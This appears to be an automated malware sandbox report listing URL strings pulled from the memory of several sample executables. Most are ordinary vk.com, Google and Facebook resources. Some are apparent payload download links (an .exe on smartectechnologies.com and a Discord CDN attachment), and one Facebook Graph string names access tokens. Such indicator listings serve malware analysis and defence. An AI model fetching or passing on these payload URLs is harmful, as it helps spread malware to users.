Source: fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/738909412961550448/999676559776546917/WW20_2022-07-19_10-19.b
Source: fJe9em23BB.exe, 00000000.00000003.269932528.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com:80/attachments/738909412961550448/999676559776546917/WW20_2022-07-19_10-1
Source: fJe9em23BB.exe, 00000000.00000003.278210782.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.279881136.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289441931.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp3379129_647509278?hash=SN7Eb0mNZVaZaZD18WXSJ2cGCvK5hGrWW2za85DM8dT&dl=G42DGMZX
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.syndication.twimg.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://connect.facebook.net
Source: ze5tCopHgrlItmsTQGIZcUK1.exe	String found in binary or memory: https://db-ip.com/
Source: fJe9em23BB.exe, 00000000.00000003.272596461.00000000051BD000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.270017416.0000000005126000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/https://ipgeolocation.io/https://www.maxmind.com/en/locate-my-ip-addresstype
Source: fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://dev.vk.com
Source: fJe9em23BB.exe, 00000000.00000003.309504413.000000000580A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://googletagmanager.com
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://graph.fac
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://graph.facebo
Source: VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.799631334.00000001400DD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://graph.facebofb_uidfb_access_tokencan_pay_nowusiness%7Bid%2Cname%7D%22%2C%22name%22%5D&filter
Source: ze5tCopHgrlItmsTQGIZcUK1.exe	String found in binary or memory: https://ipgeolocation.io/
Source: ze5tCopHgrlItmsTQGIZcUK1.exe	String found in binary or memory: https://ipinfo.io/
Source: fJe9em23BB.exe, 00000000.00000003.272596461.00000000051BD000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.270017416.0000000005126000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Content-Type:
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/
Source: fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/?act=login
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/?act=logout&hash=d4bc1ff17fefd35c84&_origin=https%3A%2F%2Fvk.com&lrt=BDpxh3TFcr
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://papi.vk.com/pushsse/ruim
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://platform.twitter.com
Source: fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://r.mradx.net
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com
Source: fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net
Source: fJe9em23BB.exe, 00000000.00000003.272880556.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.276304026.0000000003B84000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.271034346.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.269957698.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://smartectechnologies.com/12/TrdngAnr6339.exe
Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.276304026.0000000003B84000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://smartectechnologies.com/12/TrdngAnr6339.exeC:
Source: fJe9em23BB.exe, 00000000.00000003.269957698.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://smartectechnologies.com/12/TrdngAnr6339.exeR1
Source: fJe9em23BB.exe, 00000000.00000003.272880556.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.271034346.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.269957698.0000000003BE9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://smartectechnologies.com/12/TrdngAnr6339.exer1
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/base.c38209f5b716d50b8c33.css
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/common.d0bace0245d69f96566f.css
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/dark_theme.1e73209b3a1cf3aad8aa.css
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/fonts_cnt.5df9a2d31f91db9fc063.css
Source: fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/fonts_utf.9521539dd439e0c6a9c5.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/ui_common.f84b667095c1513ae4a5.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/uncommon.84f06003a992b59f7a86.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/69cbb29d1f77a86f9937b18d5913dcf6.9740ec066bc47af726fd.js?93d5384af0fc4d0e
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/audioplayer.82fab98a266a96c3507a.js?295cfd9831585b86747208f
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/bbd3772e7186114b708bce2cac0c3676.3c2cbcd43e9c477fc4f3.js?7800c15fde704ee3
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/common.73e2145ecfc10ef6ac9d.js?29535731a7510e8d2adb0d7
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/lottie.7d914fa3404556039ac3.js?ce04f009a75e25b9914f
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/palette.4bf277d762d64ef3a7d6.js?b68dce9304b8c6b2f831
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/vendors.58b0ef8496b2902facdb.js?df689e243b41e80f0e6a
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/common_web.bd14b46915622488a35a.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/common_web.c147345fc2dd7e810e73.js?
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/css_types.8f53544ca3d7e69ad08d.js?8fc29cc169b58ca6d004
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/docs.bd14b46915622488a35a.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/docs.e63c0a8140ff1e11d6ae.js?
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/grip.7ada28367f5da83dade5.js?e819c1c3cb0630f94765d1aa684b92eb
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/jobs_devtools_notification.063ca481b5b6da7c2e3b.js?8d6f1578d61ad984a0
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/likes.bd14b46915622488a35a.css
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/likes.dc023372a4b0549e2e40.js?
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/page_layout.8f43b4db3c20dfa85c65.js?c9179b916177c10fe0a79bf5eb8fd99a
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/raven_logger.623b77e762e28b5383ed.js?6abf3dfae84b9088c4f276393284dabd
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/sentry.d578a9f776ffe26f46e9.js?cfbdc5db59f97329368478691658ba1e
Source: fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/ui_common.a6abbae213870a1d6df3.js?
